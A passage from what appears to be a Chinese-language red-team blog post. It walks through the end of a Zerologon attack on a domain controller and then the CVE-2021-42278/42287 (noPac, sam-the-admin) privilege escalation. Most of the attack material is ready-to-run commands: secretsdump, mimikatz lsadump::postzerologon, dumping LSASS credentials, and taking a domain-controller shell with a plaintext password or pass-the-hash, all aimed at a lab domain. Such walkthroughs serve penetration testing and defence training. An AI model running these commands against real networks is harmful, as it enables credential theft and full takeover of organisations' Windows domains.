	del /f SAM
	del /f SECURITY

Pasted image 20250818222100.png

Pasted image 20250818222116.png

Pasted image 20250818222149.png

2. 解密 SAM 数据库
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

aad3b435b51404eeaad3b435b51404ee:

Pasted image 20250818222652.png

  • 获得机器用户的NTLM_Hash:

    0e9c...f7c

8、恢复域 - 还原Hash
reinstall_original_pw.exe 域控主机名 域控IP NTLM_Hash

reinstall_original_pw.exe DC 10.10.10.10 0e9c***....***f7c

Pasted image 20250818223921.png

Pasted image 20250818224722.png

Pasted image 20250818225059.png

9、修改域管密码
mimikatz lsadump::postzerologon /target:10.10.10.10 /account:DC$

mimikatz会将保存在域中的凭证以及注册表、lsass中的凭证同时修改为:
	"Waza1234/Waza1234/Waza1234/" 
	
	这样不影响域控的正常工作。

CVE-2021-42278/CVE-2021-42287

1. CVE-2021-42278
	一般来说,机器账号的名字应该以$符号结尾的。例如DC$表示DC这台主机的账户名。但是微软只是进行了规定,并没有验证程序对用户创建的用户名进行验证,也就是说,创建DC用户名完全是可以的。(这里指的是机器账号的sAMAccountName属性)

2. CVE-2021-42287
	结合上面那个漏洞,如果创建了一个用户名为DC的账户,此时使用这个账户去申请一张TGT票据,然后在申请ST之前,将这个账户名修改掉或者删除掉,那么在进行申请ST的时候,KDC在进行验证时就查不到这个账户,此时KDC就会去查找DC$这个账户,如果这个账户存在的话,最终返回的就是DC$这个账户申请的ST。也就相当于获取到了域控账户申请的高权限服务票据。

影响范围

Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019

工具

sam-the-admin:
	https://github.com/safebuffer/sam-the-admin

noPac:
	https://github.com/Ridter/noPac

实操

当前我的 DC 域控已经修复了该漏洞,因此最终都不会成功。

Pasted image 20250819004141.png

1、获取域用户Hash
场景一:有域用户的权限 - beacon
	1. 利用 MS15-051 漏洞获取当前主机的 SYSTEM 权限。
	
	2. 然后再利用当前主机 SYSTEM 的权限执行 hashdump、logonpasswords 等命令,获取域用户的 NTLM_Hash、明文密码,用于接下来的 票据伪造。
		hashdunmp 是获取的本地的 SAM 文件当中的相关凭据,获取不到 域内用户的 ,所以其实就是 logonpasswords 命令去获取 lsass.exe 进程的内存当中存储的 - 本次电脑开机到现在认证过的所有账户的凭据信息。
			NTLM Hash(散列值):来自 MSV1_0 模块,用于 NTLM 认证。
			明文密码(如果开启了 Wdigest 明文存储 / 或者用户刚输入过密码)。
			Kerberos Ticket (TGT / TGS):域账户通过 Kerberos 登录后,票据也会被 LSASS 保留。
			凭据缓存(CredMan):保存某些网络连接时的缓存账号密码。
	
	3. 通过获取到的某个 域用户 的 域用户名、域用户明文密码 配合 我们得到的 域管理员组SID 来 伪造我们的凭据。

Pasted image 20250818183121.png

Pasted image 20250818183139.png

Pasted image 20250818184014.png

场景二:有的是 当前主机工作组 的权限 - beacon
	因为即使是域内的主机,不是使用的 域内的相关用户 登录的域主机的话,那么即使当前的主机是 域内主机 有 域内网卡,但是无法使用,不能与 DC 进行相关的通信,不能与 域 产生相关的任何交集。
	但是没事,我们的思路还是一样的,获取到当前 域内主机 的 本地SYSTEM 权限,然后 logonpasswords 来 读取 lsass.exe 进程的内存当中存储的相关 域用户 的凭证,用于我们后续 伪造票据。
	判断我们是不是在 域环境 当中,最简单的其实就是:
		net config workstation
	
	1. 本地提权,提权到 SYSTEM 权限。
	2. logonpasswords 获取 域内用户 的凭证。
	3. 通过我们获取的 域内用户 的相关凭证,实现内网横移,肯定需要先进入到域环境当中。因为我们需要的是 域的权限提升,接管域控、接管域。而且伪造票据需要与域控交互,域控的 krbtgt 用户服务。kerbors。
	4. 伪造票据。

Pasted image 20250818184955.png

Pasted image 20250818185016.png

Pasted image 20250818185052.png

2、获取DC的Shell
1. sam-the-admin
明文密码:
	proxychains4 -q python sam_the_admin.py "域简称/域内用户:域内用户明文密码" -dc-ip 域控主机IP -shell
	
	"qiaoshen/bob:1qaz@PASS": "域简称/域内用户:域内用户明文密码"
	-dc-ip 10.10.10.10: 指定 域控主机 IP

Hash:
	python sam_the_admin.py -hashes :<NTLM_HASH> qiaoshen/[email protected] -dc-ip 10.10.10.10 -shell

	-hashes 和冒号之间 没有空格。
	冒号前面是 LM 哈希(空),后面是 NT 哈希。


此时:
	proxychains4 -q python3 sam_the_admin.py "qiaoshen/bob:1qaz@PASS" -dc-ip 10.10.10.10 -shell

	proxychains4 -q python3 sam_the_admin.py -hashes :80dcbd32a87090cddae337f85a400a79 qiaoshen/[email protected] -dc-ip 10.10.10.10 -shell

Pasted image 20250819002749.png

Pasted image 20250819003859.png

  • 成功案例

Pasted image 20250819000501.png

2. noPac
proxychains -q python noPac.py -use-ldap qiaoshen.local/bob:1qaz@PASS -dc-ip 10.10.10.10 -shell

"qiaoshen.local/bob:1qaz@PASS": "域/域内用户:域内用户明文密码"
-dc-ip 10.10.10.10: 指定 域控主机 IP


此时:
	proxychains -q python noPac.py -use-ldap qiaoshen.local/bob:1qaz@PASS -dc-ip 10.10.10.10 -shell

Pasted image 20250819002749.png

Pasted image 20250819003802.png

  • 成功案例

Pasted image 20250819004002.png

文章作者: QiaoShen
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 QiaoShen-World
红队实践 提权
喜欢就支持一下吧